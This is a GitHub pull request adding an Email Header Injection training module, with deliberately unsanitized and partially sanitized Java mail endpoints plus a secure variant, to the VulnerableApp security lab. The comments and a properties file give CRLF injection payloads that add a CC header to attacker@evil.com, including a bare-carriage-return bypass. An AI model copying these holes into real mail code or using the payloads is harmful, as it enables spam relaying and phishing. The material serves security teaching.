-
-
Notifications
You must be signed in to change notification settings - Fork 774
feat: Add Email Header Injection vulnerability module (#651) #655
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
atharv01h
wants to merge
1
commit into
SasanLabs:master
Choose a base branch
from
atharv01h:fix/651-email-header-injection
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
201 changes: 201 additions & 0 deletions
201
...n/java/org/sasanlabs/service/vulnerability/emailHeaderInjection/EmailHeaderInjection.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,201 @@ | ||
| package org.sasanlabs.service.vulnerability.emailHeaderInjection; | ||
|
|
||
| import org.apache.logging.log4j.LogManager; | ||
| import org.apache.logging.log4j.Logger; | ||
| import org.sasanlabs.internal.utility.LevelConstants; | ||
| import org.sasanlabs.internal.utility.Variant; | ||
| import org.sasanlabs.internal.utility.annotations.AttackVector; | ||
| import org.sasanlabs.internal.utility.annotations.VulnerableAppRequestMapping; | ||
| import org.sasanlabs.internal.utility.annotations.VulnerableAppRestController; | ||
| import org.sasanlabs.service.vulnerability.bean.GenericVulnerabilityResponseBean; | ||
| import org.sasanlabs.vulnerability.types.VulnerabilityType; | ||
| import org.springframework.context.annotation.Profile; | ||
| import org.springframework.http.HttpStatus; | ||
| import org.springframework.http.ResponseEntity; | ||
| import org.springframework.web.bind.annotation.RequestParam; | ||
|
|
||
| /** | ||
| * This class contains vulnerabilities related to <strong>Email Header Injection</strong> (also | ||
| * known as SMTP Header Injection). | ||
| * | ||
| * <p>Email Header Injection occurs when user-controlled data is inserted into SMTP message headers | ||
| * (such as {@code To}, {@code Subject}, {@code CC}, or {@code BCC}) without stripping CRLF ({@code | ||
| * \r\n}) sequences. Because SMTP uses CRLF as a header delimiter, an attacker can inject additional | ||
| * headers to: | ||
| * | ||
| * <ul> | ||
| * <li>Add unintended recipients via injected {@code CC:} / {@code BCC:} headers | ||
| * <li>Relay spam through a trusted mail server | ||
| * <li>Perform phishing attacks using the application's mail infrastructure | ||
| * </ul> | ||
| * | ||
| * <p>Three levels are provided: | ||
| * | ||
| * <ul> | ||
| * <li><strong>Level 1 (Fully Vulnerable):</strong> User-supplied {@code toEmail} and {@code | ||
| * subject} are used directly — no sanitization at all. | ||
| * <li><strong>Level 2 (Partially Mitigated):</strong> Only {@code \n} (LF) is checked and | ||
| * rejected; {@code \r} (CR) alone or the sequence {@code \r\n} encoded differently can still | ||
| * bypass this check. | ||
| * <li><strong>Level 3 (Secure):</strong> All CRLF characters ({@code \r} and {@code \n}) are | ||
| * stripped from both {@code toEmail} and {@code subject} before the email is sent. | ||
| * </ul> | ||
| * | ||
| * @see <a href="https://owasp.org/www-community/attacks/Email_Header_Injection">OWASP – Email | ||
| * Header Injection</a> | ||
| * @see <a href="https://cwe.mitre.org/data/definitions/93.html">CWE-93 – Improper Neutralization of | ||
| * CRLF Sequences</a> | ||
| * @author VulnerableApp contributors | ||
| */ | ||
| @Profile("unsafe") | ||
| @VulnerableAppRestController( | ||
| descriptionLabel = "EMAIL_HEADER_INJECTION_VULNERABILITY", | ||
| value = "EmailHeaderInjection") | ||
| public class EmailHeaderInjection { | ||
|
|
||
| private static final transient Logger LOGGER = LogManager.getLogger(EmailHeaderInjection.class); | ||
|
|
||
| private static final String TO_EMAIL_PARAM = "toEmail"; | ||
| private static final String SUBJECT_PARAM = "subject"; | ||
| private static final String BODY_PARAM = "body"; | ||
| private static final String DEFAULT_BODY = "This is a test email from VulnerableApp."; | ||
|
|
||
| private final EmailService emailService; | ||
|
|
||
| public EmailHeaderInjection(EmailService emailService) { | ||
| this.emailService = emailService; | ||
| } | ||
|
|
||
| // ------------------------------------------------------------------------- | ||
| // LEVEL 1 – No validation whatsoever | ||
| // ------------------------------------------------------------------------- | ||
|
|
||
| /** | ||
| * <strong>Level 1 – Fully Vulnerable (No Sanitization)</strong> | ||
| * | ||
| * <p>The {@code toEmail} and {@code subject} request parameters are passed directly to the mail | ||
| * sender without any validation or encoding. An attacker can inject a CRLF sequence into either | ||
| * parameter to add arbitrary SMTP headers. | ||
| * | ||
| * <p><strong>Example exploit (subject injection):</strong> | ||
| * | ||
| * <pre> | ||
| * subject=Hello%0D%0ACC:%20attacker@evil.com | ||
| * </pre> | ||
| * | ||
| * <p>The resulting SMTP message will contain an injected {@code CC} header, causing a copy of | ||
| * the email to be delivered to {@code attacker@evil.com}. | ||
| */ | ||
| @AttackVector( | ||
| vulnerabilityExposed = VulnerabilityType.EMAIL_HEADER_INJECTION, | ||
| description = "EMAIL_HEADER_INJECTION_NO_VALIDATION", | ||
| payload = "EMAIL_HEADER_INJECTION_PAYLOAD_LEVEL_1") | ||
| @VulnerableAppRequestMapping( | ||
| value = LevelConstants.LEVEL_1, | ||
| htmlTemplate = "LEVEL_1/EmailHeaderInjection") | ||
| public ResponseEntity<GenericVulnerabilityResponseBean<String>> getVulnerablePayloadLevel1( | ||
| @RequestParam(TO_EMAIL_PARAM) String toEmail, | ||
| @RequestParam(value = SUBJECT_PARAM, defaultValue = "Test Email") String subject, | ||
| @RequestParam(value = BODY_PARAM, defaultValue = DEFAULT_BODY) String body) { | ||
| try { | ||
| emailService.sendEmail(toEmail, subject, body); | ||
| return successResponse("Email sent to: " + toEmail + " with subject: " + subject); | ||
| } catch (Exception e) { | ||
| LOGGER.error("Failed to send email at Level 1", e); | ||
| return errorResponse("Failed to send email: " + e.getMessage()); | ||
| } | ||
| } | ||
|
|
||
| // ------------------------------------------------------------------------- | ||
| // LEVEL 2 – Partial mitigation: checks \n but misses \r | ||
| // ------------------------------------------------------------------------- | ||
|
|
||
| /** | ||
| * <strong>Level 2 – Partially Mitigated (Incomplete CRLF Check)</strong> | ||
| * | ||
| * <p>This level attempts to prevent header injection by rejecting values that contain a | ||
| * linefeed ({@code \n}) character. However, it fails to check for a bare carriage return | ||
| * ({@code \r}). Some SMTP implementations treat {@code \r} alone as a line terminator, making | ||
| * this validation bypassable. | ||
| * | ||
| * <p><strong>Bypass technique:</strong> Use {@code %0D} (URL-encoded {@code \r}) instead of the | ||
| * more commonly blocked {@code %0A} ({@code \n}). | ||
| * | ||
| * <pre> | ||
| * subject=Hello%0DCC:%20attacker@evil.com | ||
| * </pre> | ||
| */ | ||
| @AttackVector( | ||
| vulnerabilityExposed = VulnerabilityType.EMAIL_HEADER_INJECTION, | ||
| description = "EMAIL_HEADER_INJECTION_NEWLINE_CHECK_ONLY", | ||
| payload = "EMAIL_HEADER_INJECTION_PAYLOAD_LEVEL_2") | ||
| @VulnerableAppRequestMapping( | ||
| value = LevelConstants.LEVEL_2, | ||
| htmlTemplate = "LEVEL_1/EmailHeaderInjection") | ||
| public ResponseEntity<GenericVulnerabilityResponseBean<String>> getVulnerablePayloadLevel2( | ||
| @RequestParam(TO_EMAIL_PARAM) String toEmail, | ||
| @RequestParam(value = SUBJECT_PARAM, defaultValue = "Test Email") String subject, | ||
| @RequestParam(value = BODY_PARAM, defaultValue = DEFAULT_BODY) String body) { | ||
| // Incomplete check: only \n is blocked; \r alone still bypasses this guard | ||
| if (toEmail.contains("\n") || subject.contains("\n")) { | ||
| return errorResponse( | ||
| "Invalid input: newline characters are not allowed in email headers."); | ||
| } | ||
| try { | ||
| emailService.sendEmail(toEmail, subject, body); | ||
| return successResponse("Email sent to: " + toEmail + " with subject: " + subject); | ||
| } catch (Exception e) { | ||
| LOGGER.error("Failed to send email at Level 2", e); | ||
| return errorResponse("Failed to send email: " + e.getMessage()); | ||
| } | ||
| } | ||
|
|
||
| // ------------------------------------------------------------------------- | ||
| // LEVEL 3 – Secure: strip all CRLF characters | ||
| // ------------------------------------------------------------------------- | ||
|
|
||
| /** | ||
| * <strong>Level 3 – Secure (Complete CRLF Sanitization)</strong> | ||
| * | ||
| * <p>All carriage-return ({@code \r}) and newline ({@code \n}) characters are stripped from | ||
| * both {@code toEmail} and {@code subject} before constructing the SMTP message. This prevents | ||
| * header injection regardless of how the attacker encodes the CRLF sequence. | ||
| * | ||
| * <p>This is the recommended approach for preventing email header injection in Java | ||
| * applications. | ||
| */ | ||
| @AttackVector( | ||
| vulnerabilityExposed = VulnerabilityType.EMAIL_HEADER_INJECTION, | ||
| description = "EMAIL_HEADER_INJECTION_CRLF_SANITIZATION") | ||
| @VulnerableAppRequestMapping( | ||
| value = LevelConstants.LEVEL_3, | ||
| htmlTemplate = "LEVEL_1/EmailHeaderInjection", | ||
| variant = Variant.SECURE) | ||
| public ResponseEntity<GenericVulnerabilityResponseBean<String>> getVulnerablePayloadLevel3( | ||
| @RequestParam(TO_EMAIL_PARAM) String toEmail, | ||
| @RequestParam(value = SUBJECT_PARAM, defaultValue = "Test Email") String subject, | ||
| @RequestParam(value = BODY_PARAM, defaultValue = DEFAULT_BODY) String body) { | ||
| try { | ||
| emailService.sendEmailSanitized(toEmail, subject, body); | ||
| return successResponse("Email sent using sanitized headers."); | ||
| } catch (Exception e) { | ||
| LOGGER.error("Failed to send email at Level 3", e); | ||
| return errorResponse("Failed to send email: " + e.getMessage()); | ||
| } | ||
| } | ||
|
|
||
| // ------------------------------------------------------------------------- | ||
| // Private helpers | ||
| // ------------------------------------------------------------------------- | ||
|
|
||
| private ResponseEntity<GenericVulnerabilityResponseBean<String>> successResponse( | ||
| String message) { | ||
| return new ResponseEntity<>( | ||
| new GenericVulnerabilityResponseBean<>(message, true), HttpStatus.OK); | ||
| } | ||
|
|
||
| private ResponseEntity<GenericVulnerabilityResponseBean<String>> errorResponse(String message) { | ||
| return new ResponseEntity<>( | ||
| new GenericVulnerabilityResponseBean<>(message, false), HttpStatus.OK); | ||
| } | ||
| } |
41 changes: 41 additions & 0 deletions
41
src/main/java/org/sasanlabs/service/vulnerability/emailHeaderInjection/EmailService.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,41 @@ | ||
| package org.sasanlabs.service.vulnerability.emailHeaderInjection; | ||
|
|
||
| /** | ||
| * Service interface for sending emails within the EmailHeaderInjection vulnerability module. | ||
| * | ||
| * <p>Provides two variants: | ||
| * | ||
| * <ul> | ||
| * <li>{@link #sendEmail(String, String, String)} – sends the email without any sanitization of | ||
| * headers, intentionally leaving the caller responsible for header safety (or lack thereof). | ||
| * <li>{@link #sendEmailSanitized(String, String, String)} – strips CRLF characters from the | ||
| * {@code to} and {@code subject} fields before constructing the SMTP message, preventing | ||
| * header injection. | ||
| * </ul> | ||
| * | ||
| * @author VulnerableApp contributors | ||
| */ | ||
| public interface EmailService { | ||
|
|
||
| /** | ||
| * Sends a plain-text email <strong>without</strong> sanitizing the {@code to} or {@code | ||
| * subject} parameters. This method is intentionally unsafe and is used by the vulnerable levels | ||
| * of {@link EmailHeaderInjection} to demonstrate email header injection attacks. | ||
| * | ||
| * @param to recipient address (may contain injected CRLF sequences) | ||
| * @param subject email subject (may contain injected CRLF sequences) | ||
| * @param body email body text | ||
| */ | ||
| void sendEmail(String to, String subject, String body); | ||
|
|
||
| /** | ||
| * Sends a plain-text email after stripping {@code \r} and {@code \n} characters from the {@code | ||
| * to} and {@code subject} parameters. This is the secure variant used by the safe level of | ||
| * {@link EmailHeaderInjection}. | ||
| * | ||
| * @param to recipient address (sanitized) | ||
| * @param subject email subject (sanitized) | ||
| * @param body email body text | ||
| */ | ||
| void sendEmailSanitized(String to, String subject, String body); | ||
| } |
94 changes: 94 additions & 0 deletions
94
src/main/java/org/sasanlabs/service/vulnerability/emailHeaderInjection/EmailServiceImpl.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,94 @@ | ||
| package org.sasanlabs.service.vulnerability.emailHeaderInjection; | ||
|
|
||
| import org.apache.logging.log4j.LogManager; | ||
| import org.apache.logging.log4j.Logger; | ||
| import org.springframework.beans.factory.annotation.Value; | ||
| import org.springframework.mail.SimpleMailMessage; | ||
| import org.springframework.mail.javamail.JavaMailSender; | ||
| import org.springframework.stereotype.Service; | ||
|
|
||
| /** | ||
| * Implementation of {@link EmailService} that delegates to Spring's {@link JavaMailSender}. | ||
| * | ||
| * <p>Two variants are provided: | ||
| * | ||
| * <ul> | ||
| * <li>{@link #sendEmail} – no header sanitization (intentionally unsafe, used by vulnerable | ||
| * levels) | ||
| * <li>{@link #sendEmailSanitized} – strips CRLF characters before setting headers (secure, used | ||
| * by the safe level) | ||
| * </ul> | ||
| * | ||
| * @author VulnerableApp contributors | ||
| */ | ||
| @Service | ||
| public class EmailServiceImpl implements EmailService { | ||
|
|
||
| private static final transient Logger LOGGER = LogManager.getLogger(EmailServiceImpl.class); | ||
|
|
||
| /** CRLF characters that an attacker can inject to add arbitrary SMTP headers. */ | ||
| private static final String CRLF_REGEX = "[\r\n]"; | ||
|
|
||
| private final JavaMailSender mailSender; | ||
| private final String fromAddress; | ||
|
|
||
| public EmailServiceImpl( | ||
| JavaMailSender mailSender, @Value("${vulnerableapp.email.from}") String fromAddress) { | ||
| this.mailSender = mailSender; | ||
| this.fromAddress = fromAddress; | ||
| } | ||
|
|
||
| /** | ||
| * {@inheritDoc} | ||
| * | ||
| * <p><strong>Intentionally unsafe:</strong> the {@code to} and {@code subject} values are | ||
| * passed directly to {@link SimpleMailMessage} without stripping CRLF sequences. An attacker | ||
| * who controls these fields can inject additional SMTP headers (e.g., {@code CC:}, {@code | ||
| * BCC:}) enabling spam relaying or phishing campaigns. | ||
| */ | ||
| @Override | ||
| public void sendEmail(String to, String subject, String body) { | ||
| LOGGER.debug("Sending email (unsanitized) to: {}, subject: {}", to, subject); | ||
| SimpleMailMessage message = new SimpleMailMessage(); | ||
| message.setFrom(fromAddress); | ||
| message.setTo(to); | ||
| message.setSubject(subject); | ||
| message.setText(body); | ||
| mailSender.send(message); | ||
| } | ||
|
|
||
| /** | ||
| * {@inheritDoc} | ||
| * | ||
| * <p><strong>Secure variant:</strong> strips all {@code \r} and {@code \n} characters from | ||
| * {@code to} and {@code subject} before constructing the SMTP message. This prevents an | ||
| * attacker from injecting additional SMTP headers through these fields. | ||
| */ | ||
| @Override | ||
| public void sendEmailSanitized(String to, String subject, String body) { | ||
| String sanitizedTo = sanitizeHeader(to); | ||
| String sanitizedSubject = sanitizeHeader(subject); | ||
| LOGGER.debug( | ||
| "Sending email (sanitized) to: {}, subject: {}", sanitizedTo, sanitizedSubject); | ||
| SimpleMailMessage message = new SimpleMailMessage(); | ||
| message.setFrom(fromAddress); | ||
| message.setTo(sanitizedTo); | ||
| message.setSubject(sanitizedSubject); | ||
| message.setText(body); | ||
| mailSender.send(message); | ||
| } | ||
|
|
||
| /** | ||
| * Removes all carriage-return ({@code \r}) and newline ({@code \n}) characters from the | ||
| * supplied header value to prevent CRLF / email header injection. | ||
| * | ||
| * @param headerValue raw header value supplied by the caller | ||
| * @return sanitized header value with no CRLF characters | ||
| */ | ||
| String sanitizeHeader(String headerValue) { | ||
| if (headerValue == null) { | ||
| return null; | ||
| } | ||
| return headerValue.replaceAll(CRLF_REGEX, ""); | ||
| } | ||
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
8 changes: 8 additions & 0 deletions
8
src/main/resources/attackvectors/EmailHeaderInjectionPayload.properties
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,8 @@ | ||
| EMAIL_HEADER_INJECTION_PAYLOAD_LEVEL_1=In an Email Header Injection attack, an attacker can inject new headers into the email by introducing carriage return (\\r) and linefeed (\\n) sequences into header parameters.<br/>\\ | ||
| <b>How to exploit this level?</b><br/>\\ | ||
| There are no validations present at this level. You can inject additional recipients by appending CRLF and a CC or BCC header to the subject parameter, for example:<br/>\\ | ||
| <code>subject=Test%0D%0ACC:attacker@evil.com</code> | ||
| EMAIL_HEADER_INJECTION_PAYLOAD_LEVEL_2=In an Email Header Injection attack, an attacker can inject new headers into the email by introducing carriage return (\\r) and linefeed (\\n) sequences into header parameters.<br/>\\ | ||
| <b>How to exploit this level?</b><br/>\\ | ||
| This level rejects input containing a linefeed (\\n / %0A) character. However, it fails to check for carriage returns (\\r / %0D). Some SMTP implementations treat a carriage return alone as a line separator. You can bypass the validation by injecting %0D alone, for example:<br/>\\ | ||
| <code>subject=Test%0DCC:attacker@evil.com</code> |
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.